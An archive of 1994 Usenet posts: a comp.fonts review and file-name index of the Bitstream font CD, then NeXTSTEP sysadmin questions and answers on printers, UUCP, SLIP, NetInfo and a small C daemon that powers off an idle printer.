>Newsgroups: comp.fonts
>From: pastor@vfl.paramax.com (Jon Pastor)>Subject: Comments *and* an alphabetized Xref on Bitstream CD
>Message-ID: <1994Apr20.152311.2818@VFL.Paramax.COM>
>Sender: pastor@gvls1 (Jon Pastor)
>Organization: not much...
>Date: Wed, 20 Apr 1994 15:23:11 GMT
>Lines: 535
1. It's a bit heavy on sanserif faces for my tases, but still remarkably light
on the "novelty" and really decorative faces that are so plentiful elsewhere
2. Bitstream's naming conventions -- well, I can't really think of a politer
word than "suck". Imagine 500 filenames of the form TTnnnnM_.TTF, where "nnnn"
is a four-digit number. And wouldn't it have been nice if they'd used
"GaramndXxxx" rather than "XxxxGaramnd", so that they'd have grouped nicely in
application font lists? Sigh...
3. The files are grouped alphabetically in directories; some of the
directories have more files than others, and I'm not sure that I see why they
couldn't have been grouped a little more evenly. The problem is that the A_C
directory (for example) is pretty huge, and it takes my TT font installer a
good long time to read all the names with a 2X CD drive.
4. Other than that, there's not much to complain about -- it's a pretty good
collection, with a wide range of weights for many of the faces, and some
unusual variants.
One of the first things I did was run a program that I think I picked up at
ftp.microsoft.com over the whole directory structure; it generated a list of
filenames paired with the full font name, which I then sorted by font name.
For people (like me) who use font utils that don't pre-scan the files in a
directory to get the font names, but just present you with a list of
filenames, this may be useful. BTW, there are 502 files listed, including the
two from the ITC subdirectory...
Oh, and put Arrus and Iowan in "A" and "I", not in "B" (their names are
"Bitstram Arrus..." and "Bitstream Iowan...").
----------------------------------------------------------------
TT1103M_.TTF Aachen Bold BT
TT1102M_.TTF Aachen BT
TT1154M_.TTF Ad Lib BT
TT0304M_.TTF Aldine 401 Bold BT
TT0305M_.TTF Aldine 401 Bold Italic BT
TT0302M_.TTF Aldine 401 BT
TT0303M_.TTF Aldine 401 Italic BT
TT0114M_.TTF Aldine 721 Bold BT
TT0115M_.TTF Aldine 721 Bold Italic BT
TT0112M_.TTF Aldine 721 BT
TT0113M_.TTF Aldine 721 Italic BT
TT0804M_.TTF Aldine 721 Light BT
TT0805M_.TTF Aldine 721 Light Italic BT
TT1138M_.TTF Allegro BT
TT0542M_.TTF Alternate Gothic No.2 BT
TT1040M_.TTF Amazone BT
TT0510M_.TTF Amelia BT
TT0045M_.TTF American Garamond Bold BT
TT0046M_.TTF American Garamond Bold Italic BT
TT0043M_.TTF American Garamond BT
TT0044M_.TTF American Garamond Italic BT
TT0211M_.TTF American Text BT
TT0500M_.TTF Americana Bold BT
TT0498M_.TTF Americana BT
TT0501M_.TTF Americana Extra Bold BT
TT0502M_.TTF Americana Extra Bold Condensed BT
TT0499M_.TTF Americana Italic BT
TT0645M_.TTF Amerigo Bold BT
TT0772M_.TTF Amerigo Bold Italic BT
TT0643M_.TTF Amerigo BT
TT0644M_.TTF Amerigo Italic BT
TT0770M_.TTF Amerigo Medium BT
TT0771M_.TTF Amerigo Medium Italic BT
TT1149M_.TTF Bitstream Arrus Black BT
TT1150M_.TTF Bitstream Arrus Black Italic BT
TT1147M_.TTF Bitstream Arrus Bold BT
TT1148M_.TTF Bitstream Arrus Bold Italic BT
TT1145M_.TTF Bitstream Arrus BT
TT1146M_.TTF Bitstream Arrus Italic BT
TT1028M_.TTF Aurora Bold Condensed BT
TT1152M_.TTF Baker Signet BT
TT0728M_.TTF Balloon Bold BT
TT0729M_.TTF Balloon Extra Bold BT
TT0121M_.TTF Balloon Light BT
TT0589M_.TTF Bank Gothic Light BT
TT0590M_.TTF Bank Gothic Medium BT
TT1024M_.TTF Belwe Bold BT
TT1025M_.TTF Belwe Condensed BT
TT1022M_.TTF Belwe Light BT
TT1023M_.TTF Belwe Medium BT
TT1003M_.TTF Bernhard Bold Condensed BT
TT1051M_.TTF Bernhard Fashion BT
TT0838M_.TTF Bernhard Modern Bold BT
TT0839M_.TTF Bernhard Modern Bold Italic BT
TT0607M_.TTF Bernhard Modern BT
TT0837M_.TTF Bernhard Modern Italic BT
TT0986M_.TTF Bernhard Tango BT
TT0511M_.TTF Blippo Black BT
TT0037M_.TTF Bodoni Bold BT
TT0973M_.TTF Bodoni Bold Condensed BT
TT0038M_.TTF Bodoni Bold Italic BT
TT0035M_.TTF Bodoni Book BT
TT0036M_.TTF Bodoni Book Italic BT
TT0055M_.TTF Bodoni BT
TT0056M_.TTF Bodoni Italic BT
TT1232M_.TTF Bremen Black BT
TT1231M_.TTF Bremen Bold BT
TT0131M_.TTF Broadway BT
TT0802M_.TTF Broadway Engraved BT
TT0990M_.TTF Brush 445 BT
TT0806M_.TTF Brush 738 BT
TT0199M_.TTF Brush Script BT
TT1139M_.TTF Calligraphic 421 BT
TT0811M_.TTF Calligraphic 810 BT
TT0812M_.TTF Calligraphic 810 Italic BT
TT0668M_.TTF Carmina Black BT
TT0719M_.TTF Carmina Black Italic BT
TT0723M_.TTF Carmina Bold BT
TT0724M_.TTF Carmina Bold Italic BT
TT0667M_.TTF Carmina Light BT
TT0624M_.TTF Carmina Light Italic BT
TT0721M_.TTF Carmina Medium BT
TT0722M_.TTF Carmina Medium Italic BT
TT0118M_.TTF Caslon 540 BT
TT0119M_.TTF Caslon 540 Italic BT
TT0443M_.TTF Caslon Bold BT
TT0444M_.TTF Caslon Bold Italic BT
TT0581M_.TTF Caslon Openface BT
TT0041M_.TTF Century Expanded Bold BT
TT0042M_.TTF Century Expanded Bold Italic BT
TT0039M_.TTF Century Expanded BT
TT0040M_.TTF Century Expanded Italic BT
TT0287M_.TTF Century Oldstyle Bold BT
TT0285M_.TTF Century Oldstyle BT
TT0286M_.TTF Century Oldstyle Italic BT
TT0085M_.TTF Century Schoolbook Bold BT
TT0574M_.TTF Century Schoolbook Bold Condensed BT
TT0086M_.TTF Century Schoolbook Bold Italic BT
TT0083M_.TTF Century Schoolbook BT
TT0084M_.TTF Century Schoolbook Italic BT
TT0600M_.TTF Century Schoolbook Monospace BT
TT0622M_.TTF Cheltenham Bold BT
TT1065M_.TTF Cheltenham Bold Condensed BT
TT1066M_.TTF Cheltenham Bold Condensed Italic BT
TT1067M_.TTF Cheltenham Bold Extra Condensed BT
TT0508M_.TTF Cheltenham Bold Headline BT
TT0623M_.TTF Cheltenham Bold Italic BT
TT0509M_.TTF Cheltenham Bold Italic Headline BT
TT0620M_.TTF Cheltenham BT
TT0621M_.TTF Cheltenham Italic BT
TT0351M_.TTF Clarendon Black BT
TT0284M_.TTF Clarendon Bold BT
TT0228M_.TTF Clarendon Bold Condensed BT
TT0283M_.TTF Clarendon BT
TT0846M_.TTF Clarendon Condensed BT
TT0416M_.TTF Clarendon Heavy BT
TT0282M_.TTF Clarendon Light BT
TT0279M_.TTF Classical Garamond Bold BT
TT0972M_.TTF Classical Garamond Bold Italic BT
TT0277M_.TTF Classical Garamond BT
TT0278M_.TTF Classical Garamond Italic BT
TT0757M_.TTF Cloister Black BT
TT9025Z_.TTF Commercial Pi BT
TT0976M_.TTF Commercial Script BT
TT0788M_.TTF Compacta Black BT
TT0786M_.TTF Compacta Bold BT
TT0787M_.TTF Compacta Bold Italic BT
TT0784M_.TTF Compacta BT
TT0785M_.TTF Compacta Italic BT
TT0630M_.TTF Cooper Black BT
TT0231M_.TTF Cooper Black Headline BT
TT0631M_.TTF Cooper Black Italic BT
TT0232M_.TTF Cooper Black Italic Headline BT
TT1034M_.TTF Cooper Black Outline BT
TT0579M_.TTF Cooper Bold BT
TT0580M_.TTF Cooper Bold Italic BT
TT0575M_.TTF Cooper Light BT
TT0576M_.TTF Cooper Light Italic BT
TT0577M_.TTF Cooper Medium BT
TT0578M_.TTF Cooper Medium Italic BT
TT0421M_.TTF Copperplate Gothic Bold BT
TT0424M_.TTF Copperplate Gothic Bold Condensed BT
TT0420M_.TTF Copperplate Gothic BT
TT0423M_.TTF Copperplate Gothic Condensed BT
TT0422M_.TTF Copperplate Gothic Heavy BT
TT0195M_.TTF Davida Bold BT
TT0605M_.TTF Decorated 035 BT
TT1113M_.TTF Della Robbia Bold BT
TT1112M_.TTF Della Robbia BT
TT0769M_.TTF Dom Bold BT
TT0604M_.TTF Dom Casual BT
TT0921M_.TTF Dom Diagonal Bold BT
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From: eric_t@riga.ks.uiuc.edu (Eric de la Tribouille)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Is there a way to use the NeXT color printer from a PC ?
Date: 22 Apr 1994 22:39:37 GMT
Organization: University of Illinois at Urbana
Message-ID: <2p9jn9$avs@vixen.cso.uiuc.edu>
Hi fellows !
What are the different ways to use a NeXT color printer from a PC ?
Thanks in advance for your answers. I'll post a summury of them.
Best regards,
- Eric
--
Opinion expressed is my own !
---------------------------------------------------------------------
Eric de la Tribouille e-mail: eric_t@ks.uiuc.edu
NeXT sys. admin.
University of Illinois at Urbana-Champaign
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Setting up DNS
Date: 23 Apr 1994 01:28:51 GMT
Organization: San Francisco State University
Message-ID: <2p9tkj$3ep@nic-nac.CSU.net>
References: <2p99tk$bbf@rain.psg.com>
In article <2p99tk$bbf@rain.psg.com> steve@eps.rain.com
(Steve Kornreich) writes:
>Are there any NeXT specific doc's explaining how to setup DNS?
No, because there's nothing special about NEXTSTEP insofar as DNS
is concerned--it's just another BSD-derived UNIX system (shipped
with an old, mostly unusable version of named).
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: cleelacj@agedwards.com (Chris Cleeland)
Subject: Re: nppower off cron entry
Message-ID: <Coon0E.6v9@agedwards.com>
Date: Fri, 22 Apr 1994 22:41:02 GMT
References: <940420095427.1997AACUJ.malc@jeeves>
Organization: A. G. Edwards & Sons, Inc.
Malcolm Crawford (M.Crawford@dcs.shef.ac.uk) wrote:
: > Some time ago I saw a rather simple crontab entry that checked for the
: print queue
: > to be empty before 'nppower off'. Now that I have a reason for such a
: thing, I can't
: > seem to find where I saved it. Anyone have something like this.
: >
: Odd how these things sometimes crop up in a couple of places
: simultaneously...!
I didn't like the cron job/script idea, so quickly hacked together a daemon
that would monitor printing and turn the printer off. It's not very
pretty, but it's never crashed on me (yet :-). I won't post a binary,
but I'd be willing to give the source out to a few people for review,
then submit it.
Yours for the asking...
-cj
--
==============================================================================
Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us
BOS Dev. Team | MIMEMail: cleeland@agedwards.com
| BellNet: (314) 289-5372
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
From: mross@antigone.com
Subject: sporadic bouncing on NeXT/NS3.0
Message-ID: <1994Apr23.021135.9162@antigone.com>
Organization: Antigone Press gateway, San Francisco
Date: Sat, 23 Apr 1994 02:11:35 GMT
Every so often, and with increasing frequency, mail bounces as it's processed on
our NeXTcube/NS3.0/sendmail5.67c. The bounce occurs after sendmail has handled it
but before it can be appended to the mail spool:
----- Transcript of session follows -----
mail: /usr/spool/mail/mross: cannot append
mail: cannot open dead.letter
554 mross@antigone.com... 554 unknown mailer error 1
It sure looks like a permissions problem, but it's sporadic.
I could imagine there being a problem with the NeXTmail app busying the spool out
while it grabbed mail for the Active.mbox (but I'm sure there's a mechanism to
prevent that...no?) but why on earth would it not be able to open dead.letter...?
Any ideas? Thanks!
Michael
--
Michael Ross
Antigone Press, San Francisco, California
e-mail: mross@antigone.com
FAX: +1 415 431 3650
Control: cancel <CoJIFG.11F@world.std.com>
Newsgroups: comp.sys.next.sysadmin
From: sngmedia@world.std.com
Subject: cmsg cancel <CoJIFG.11F@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Wed, 20 Apr 1994 04:14:03 GMT
Message-ID: <cancel.CoJIFG.11F@world.std.com>
MARKET SURVEY
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: spurious DMA interrupt
Message-ID: <1994Apr22.154409.3784@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <CoGs9A.LJ1@usenet.ucs.indiana.edu>
Date: Fri, 22 Apr 1994 15:44:09 GMT
In article <CoGs9A.LJ1@usenet.ucs.indiana.edu>
francisr@stupid.ucs.indiana.edu (Rob Francis) writes:
In article <2ou8ie$fag@ghost.sm.dsi.unimi.it>,
Gianfranco Pocecai <gpoc@cube.sm.dsi.unimi.it> wrote:
> >
> >Hi!
> >I have some strange error messages on my black cube console:
> >
> >
> > spurious DMA interrupt: state 0x1000000 channel 0x2000110
> >
> >
> > spurious DMA interrupt: channel 0x2000110
> >
>
> NeXT told me it's a networking problem, and never told me any more.
>
> I started seeing it when I NFS mounted a directory from my NeXT to my
> SGI.
>
Rather well known problem in most (BSD based) Unixes. The Ethernet you're
connected to has an exceeding rate of collisions/runts/jabbers on it that
cause low level network driver overload. Check your network hardware and
configuration. Nine out of ten times it's a cabling problem. Rest of the
cases is dominated by breach of repeater count rules.
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <1994Apr22.160117.3846@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <2ouf13$e4v@newsflash.mitre.org>
Date: Fri, 22 Apr 1994 16:01:17 GMT
In article <2ouf13$e4v@newsflash.mitre.org> wherndon@smiley.mitre.org
(William Herndon) writes:
> OK, I've read the online documentation. I've coordinated with
> the administrator of the site that "feeds" my NeXTStation.
> I've tried multiple configurations, and I still can't seem to
> get a uucp connection that transfers more than 700 to 800
> characters/second.
>
The old HoneyDanBer-UUCP that is given off with NS isn't expected to get
any better! Only with a properly set Taylor-UUCP you can expect a
throughput around 2kB/sec. (Now don't ask me where to get it. That
should already be clear to everyone! Hint: Search the archives ;-)
> Here is my situation: I've got a ZyXEL U-1496e and am connecting
> via UUCP to a feeder site for news and mail. UUCP connects through
> /dev/cufb at 19200 (maybe) to my modem which in turn connects to
> my feeder site at 14400 (V.32bis) with V.42 error correction.
> Compression is explicitely disabled. (My counterpart says
> that compression tends to slow down batched news transfers
> because they are already compressed.) CTS/RTS is enabled (by
> default, I believe) so that the modem is not swamped by the 19200
> speed of /dev/cufb.
>
On a black machine you should take everything you get. Set 38.4k and
grumble that 56k isn't supported ;-)
> Now for the question/problem: Even with all of this, why am I
> still getting data rates (as measured in the UUCP SYSLOG file) of
> less than 800 cps? I don't get it; the setup is behaving as if it
> were running at 9600. Is the stock NeXT UUCP package incapable of
> setting the device to a speed above 9600?
>
> Well anyway here are what I believe are the relevant entries in my
> L.sys and L-devices files:
>
>
>
> L-devices -
>
> DIR cufb unused 19200 direct
>
> L.sys -
>
> <feedersite> Any DIR 19200 cufb \
> "" AT \
> OK ATL2 \ /* speaker volume = 2 */
> OK AT&K3 \ /* disable compression */
> OK AT&N17 \ /* V.32bis 14400...4800 */
> OK ATDT5510095 \
> CONNECT \r\c \
> ogin:--ogin pandora \
> ssword: <mypasswd>
>
>
"Put compression on". "Swich compression off". I've heard every of these
statements multiple times. My recommendation: Experiment!
Get Taylor (1.04 is the current release) chose "g" and set window size to
seven and block size to 512. This works well on a good line with two
ZyXELs on each end.
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
Newsgroups: comp.sys.next.sysadmin
From: mickey@fantasy.wa.com (Sean Nolan)
Subject: Setting up SLIP on 2.2...
Message-ID: <Cop9M3.5B@fantasy.wa.com>
Sender: mickey@fantasy.wa.com (Sean Nolan)
Organization: FantasyLand
Date: Sat, 23 Apr 1994 06:49:14 GMT
OK, so I'm one of those nearly-extinct dinosaurs still running NS 2.2.
Call me paranoid, but all those color icons just make me nervous. ;-)
Anyways, I'm trying to set up SLIP on my black slab. Realize that I know
almost nothing about networks. Here's what I've done: got the SLIP
binaries from sonata and installed the package. Munged the sample
diald.conf and rc.slip files for use on my machine, and put togther some
simple dialing scripts.
Now I try to ping my provider. The modem dials, connects, and the scripts
seem to work fine. End of story. I sit there, connected, but the ping
never gets a response. ftp and telnet similarly never connect.
Any clues? I'm really feeling my way in the dark on this one. Thanks in
advance....
--- Sean
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| Sean Nolan
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From: kieffer@gemstone.com (Robert W. Kieffer)
Subject: Re: Configuring Serial line to allow 8-N-1 dial-in ?
Message-ID: <Coo7q1.6I@gemstone.com>
Sender: kieffer@gemstone.com (Robert W. Kieffer)
Organization: Gemstone Systems, Inc.
References: <CoJ207.5Ls@fragile.termfrost.org>
Date: Fri, 22 Apr 1994 17:10:49 GMT
In article <CoJ207.5Ls@fragile.termfrost.org> kramer@fragile.termfrost.org
(Mike Andrews) writes:
>
> Put :p8:zp at the front of the Default entry in gettytab, and it should
> start behaving.... zp is zero parity, and p8 is 8-bit, thus N81. Seems
> to work for me, anyway...
>
> While we're on the subject of gettytab tweaking, is there any way I can
> get the telnet server to close the connection at the login: prompt using
> Control-D (like most Unixes)? For some reason, it's using Control-Z
now.
>
> --
> Mike Andrews "This guy's pretty bizarre,
Gus."
> root@fragile.termfrost.org [NeXTmail OK] -
Primus
> kramer@wittenberg.edu (school)
> kramer@mik.uky.edu (hometown)
Thanks, Mike. I was worrying over this problem as well and this fixed
things right up!
---
Robert Kieffer - Robert_Kieffer@gemstone.com - NeXTMail welcome
Gemstone Systems, Inc.
19616 Redbeam Ave.
Torrance, CA 90503
Newsgroups: comp.sys.next.sysadmin
From: perstoro@uriela.in-berlin.de (Wilhelm Schaefer)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <1994Apr23.100248.6329@uriela.in-berlin.de>
Sender: perstoro@uriela.in-berlin.de
Organization: NeXAPP
References: <1994Apr22.160117.3846@nidat.sub.org>
Date: Sat, 23 Apr 1994 10:02:48 GMT
...
#>
#On a black machine you should take everything you get. Set 38.4k and
#grumble that 56k isn't supported ;-)
Turbo machines will work with those 56k, or was it 57k?
#> Now for the question/problem: Even with all of this, why am I
#> still getting data rates (as measured in the UUCP SYSLOG file) of
#> less than 800 cps? I don't get it; the setup is behaving as if it
#> were running at 9600. Is the stock NeXT UUCP package incapable of
#> setting the device to a speed above 9600?
#>
#> Well anyway here are what I believe are the relevant entries in my
#> L.sys and L-devices files:
...
I think you will have to change some files in /etc, too.
You may change /etc/ttys for dialin.
/etc/gettytab needs your help and /etc/remote also.
so long
*** perstoro ***
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From: dan@sw.stratus.com (Dan Danz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Anonymous FTP logging?
Date: 22 Apr 1994 22:12:26 GMT
Organization: Stratus Computer, Inc.
Distribution: world
Message-ID: <2p9i4a$mgr@transfer.stratus.com>
References: <2oue0u$aao@news.doit.wisc.edu>
In article <2oue0u$aao@news.doit.wisc.edu>, hayden@whitewater.chem.wisc.edu (Jessica Hayden) writes:
>
> Is there a way to keep a log of all users (based on their ident passwd) who
> access an anonymous ftp site? Does the system do this anyway?
>
Try "man 8 ftpd"
The messages are logged at the INFO priority to the syslog (see also).
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Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Help: Cube can not find NetInfo server.
Message-ID: <1994Apr23.095426.14737@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2p9f32$ehb@quartz.ucs.ualberta.ca>
Date: Sat, 23 Apr 1994 09:54:26 GMT
In article <2p9f32$ehb@quartz.ucs.ualberta.ca>
sherwood@fenris.space.ualberta.ca (Sherwood Botsford) writes:
> If you check the /machines directory in the local domain (.) you will
> usually find two hosts: broadcast host and local host. Check the
> broadcast address, and see if it makes sense.
>
> If you prefer to bind to particular hosts for / netinfo services, then
> add those hosts to the local /machines directory and add the property
> serves, and the value ../network
>
> If you have multiple entries it will try them in turn.
I don't think that the latter is true. I had always thought that binding
is determined by responses to the initial broadcast request.
After all, you can't scan the netinfo database until you have found a
netinfo server, can you?
Paul
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: root@mathcomp.upenn.edu (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: No Browser!
Date: 23 Apr 1994 19:52:00 GMT
Organization: University of Pennsylvania
Message-ID: <2pbu90$4nv@netnews.upenn.edu>
This afternoon, I managed to lose all ownership information on
my machine, and I am now trying to reconstitute it from scratch.
My idea was to change all ownerships to root and then go into
each user home directory and recursively change all ownerships
to the user in question (including the dot files, of course).
This seems to have mostly worked except for one thing: When I run the
Workspace manager, I can no longer get a browser (except when I log
in as root). When I create a new account and log in as the new user, I
get a brower for about 1/2 second, and then it too goes away.
Any ideas?
If it matters, I am running system 3.2 with NetInfo disabled.
-Wolfgang Ziller
Newsgroups: comp.sys.next.sysadmin
From: cooker@ci.ua.pt (Fernando Cozinheiro)
Subject: My NEXT don't boot...
Sender: usenet@news.ci.ua.pt (News Administrator)
Message-ID: <CoqBt7.13L@news.ci.ua.pt>
Date: Sat, 23 Apr 1994 20:34:14 GMT
Organization: Universidade de Aveiro, Portugal
Dear friends:
I've configured my NEXT some days ago in order to use it on my network,
but I can't boot it never after the reconfiguration. First it stops and
remains undefinitly on the screen "Checking file systems". After, I
unpluged it from the network and now it stops on the screen "Starting
Local Systems".
I've tried to stop it on the boot, but the keyboard combination
(Alternate + Command + ~) don't can stop it.
Please, help me!
Best regards.
--
Fernando Cozinheiro Email: cooker@ci.ua.pt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Universidade de Aveiro Phone:
Centro de Informatica Univ.Aveiro: +351 34 370200 * Ext. 2254
3800 Aveiro Centro Inf.: +351 34 370345
Portugal Telefax: +351 34 28600
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: nppower off cron entry
Message-ID: <1994Apr23.101849.4615@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <9404192027.AA29244@audiotst.ap.com>
Date: Sat, 23 Apr 1994 10:18:49 GMT
In article <9404192027.AA29244@audiotst.ap.com> audiotst!lre@uunet.UU.NET
(Louis R. Eagle) writes:
> Some time ago I saw a rather simple crontab entry that checked for
> the print queue to be empty before 'nppower off'. Now that I have a
> reason for such a thing, I can't seem to find where I saved it.
> Anyone have something like this.
>
There is something better:
-----
#
/*
* nppowerd.c rjesse 19 oct 92
*
* This daemon turns off a NeXT 400 dpi printer (/dev/np0)
* that has been idle for more than "interval" minutes.
*
* Usage: nppowerd [interval minutes]
*/
#define INTERVAL (60*60) /* 60 minute default */
#include <stdio.h>
#include <bsd/sys/types.h>
#include <mach/boolean.h>
#include <bsd/sys/ioctl.h>
#include <bsd/sys/file.h>
#include <bsd/sys/stat.h>
#include <bsd/dev/m68k/npio.h>
char printer[] = "/dev/np0";
time_t
pmtime() {
struct stat pstat;
if (stat(printer, &pstat) < 0) {
fputs("nppowerd: ", stderr);
perror(printer);
exit(1);
}
return pstat.st_mtime;
}
turnpoff() {
struct npop op;
register pfd;
extern errno;
errno = 0;
if ((pfd=open(printer, O_WRONLY, 0)) < 0)
return errno;
op.np_op = NPSETPOWER;
op.np_power = 0;
ioctl(pfd, NPIOCPOP, &op);
close(pfd);
return errno;
}
main(ac, av)
int ac;
char **av;
{
time_t offtime, mtime, idle;
register interval = INTERVAL;
if (ac > 2) {
fputs("Usage: nppowerd [minutes]\n", stderr);
return 1;
}
switch (fork()) {
default:
return 0;
case -1:
return 1;
case 0:
; /* child */
}
if (ac > 1)
interval = atoi(av[1]) * 60;
if (interval<60 || interval>(24*60*60) )
interval = INTERVAL;
/*
* it seems (see NP(4)) to be impossible to test whether the
* printer is on or off without first turning it on - opening
* the device, even without O_WRONLY, turns it on. so we assume
* that upon nppowerd invocation (probably from /etc/rc) that
* the printer is on (it gets turned on during the boot sequence).
*/
offtime = 0;
mtime = pmtime();
while (1) {
if (mtime != offtime) {
/* there has been some printer activity */
while ((idle = time() - mtime) < interval) {
sleep(interval-idle+1);
mtime = pmtime();
}
if (turnpoff() == 0)
offtime = mtime = pmtime();
}
sleep(interval);
mtime = pmtime();
}
/*NOTREACHED*/
}
-----
Compile this and call it from rc.local with a few seconds of delay (the
printer demons must be up and running). The following works fine for me.
-----
# (echo -n 'local daemons:')
>/dev/console
#
# Run your own commands here
#
# (echo '.')
>/dev/console
domainname nidat.sub.org
su news -c '/usr/lib/newsbin/newsboot'
sleep 10; /usr/local/etc/nppowerd 30
/usr/local/etc/setmd
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Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: NeXTMail and MIME?
Date: 22 Apr 1994 22:28:38 +0100
Organization: Palumbian Research Labs
Message-ID: <2p9fi6$2as@marsu.tynet.sub.org>
References: <2p639s$diu@news.intercon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
disc@vector.casti.com (David Casti) writes:
>Does NeXT have any plans to support MIME in their Mail.app? I understand
>there are some 3rd party MIME mailers (I couldn't locate them on the net
>this morning, though), but I'm really hoping that NeXT, Inc. won't miss
>the MIME boat, as it were.
I heard from a NeXT rep at CeBit fair that MIME support is included in 3.3
which is to be released Q3/94.
Regards,
Markus.
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.sig got a SIGKILL signal.
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From: spcapt1@ananta.spc.uchicago.edu (Allen Todd)
Subject: Re: Dos mount from SCSI devices - NO WAY?
Message-ID: <1994Apr24.041554.25697@midway.uchicago.edu>
Originator: daemon@cicero.spc.uchicago.edu
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago
References: <2p8v8b$ia6@sbctri.sbc.com>
Date: Sun, 24 Apr 1994 04:15:54 GMT
I took a 300 MB drive from one of our dos pc's with a failed
controller connected it up to my NSI 3.2 system and had
similar problems trying to mount or format the drive.
I felt kindof sheepish when I did a 'df' and saw that NS had
autorecognized the drive and mounted it to /"Disk_Volume_Name_here".
Selecting the drive from the browser showed the disk icon with
"DOS" written across it. I was duly impressed -- the entire
contents were available to me immediatley.
Of course the next thing I did was unmount it and reformat it...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Allen Todd 312/702-7792 spcapt1@ananta.spc.uchicago.edu
Social Science and Public Policy Computing Center, University of Chicago
From: u7913108@cc.nctu.edu.tw (*** Mark Lin ***)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: CD-ROM player problem - help is needed (desparately)
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Date: 24 Apr 1994 05:43:31 GMT
Organization: Computer Center, National Chiao-Tung University, Taiwan
Message-ID: <2pd0u3$524@debbie.cc.nctu.edu.tw>
References: <2omm7t$bcp@math.mps.ohio-state.edu> <2ooafs$42j@steffi.demon.co.uk>
: A number of things come to mind. Are you using Intel? If so I _don't
: think_ CDPlayer works with Intel..
: Also, you don't say exactly when you insert the disc... You should
: only be inserting the disk when the Panel pops up after CDPlayer.app
: is running. (This assumes you _are_ on Motorolla because I believe
: CDPlayer.app only works on Motorolla)
CDPlayer.app works fine with my Intel machine ...
Mark
Newsgroups: comp.sys.next.sysadmin
From: rene@rkt.in-berlin.de (Rene Kulschewski)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <W94NBBDC@rkt.in-berlin.de>
Sender: root@rkt.in-berlin.de (Operator)
Organization: Home in Berlin
References: <1994Apr22.160117.3846@nidat.sub.org> <1994Apr23.100248.6329@uriela.in-berlin.de>
Date: Sun, 24 Apr 1994 07:07:10 GMT
Wilhelm Schaefer (perstoro@uriela.in-berlin.de) wrote:
: ...
: #>
: #On a black machine you should take everything you get. Set 38.4k and
: #grumble that 56k isn't supported ;-)
: Turbo machines will work with those 56k, or was it 57k?
My non-Turbo also works with 56k.
And i know some non-Turbo sites running safe at 56k.
Rene
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____________________________________________________________________
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From: joerg@jogi.ruhr.de (Joerg Beckmann)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Wangtek 5525ES Tapes
Message-ID: <6squtASHBh107h@jogi.ruhr.de>
Date: Sun, 24 Apr 94 13:24:10 +0200
References: <Vaw5kc1w165w@mindvox.phantom.com>
Organization: private site
In <Vaw5kc1w165w@mindvox.phantom.com> redmond@mindvox.phantom.com (David Redmond) writes:
>Greetings,
>I am having some trouble trying to access a Wangtek 5525es drive. It
>comes up on boot as:
>Apr 21 06:39:45 entropy mach: st: major number 9
>Apr 21 06:39:45 entropy mach: st0: WANGTEK 5525ES SCSI REV7 3R
>I have installed the fixed block mode patch for tape drives and have no
>trouble accessing the drive to do dumps, like so:
>dump 0Of 525 /dev/nrst0 /
I have also trouble accessing this drive. I CAN dump, but I can't restore.
tar always reports I/O Error.
Could you please tell me where to get the mentioned patch?
(BTW: Under DOS there are NO troubles with this drive)
Thanks
Joerg
Newsgroups: comp.sys.next.sysadmin
From: henry@trilithon.com (Henry McGilton)
Subject: Re: bitstream makes 500 fonts available in windows ps format for $50
Message-ID: <1994Apr23.234122.7895@trilithon.com>
Sender: henry@trilithon.com
Organization: Trilithon Software
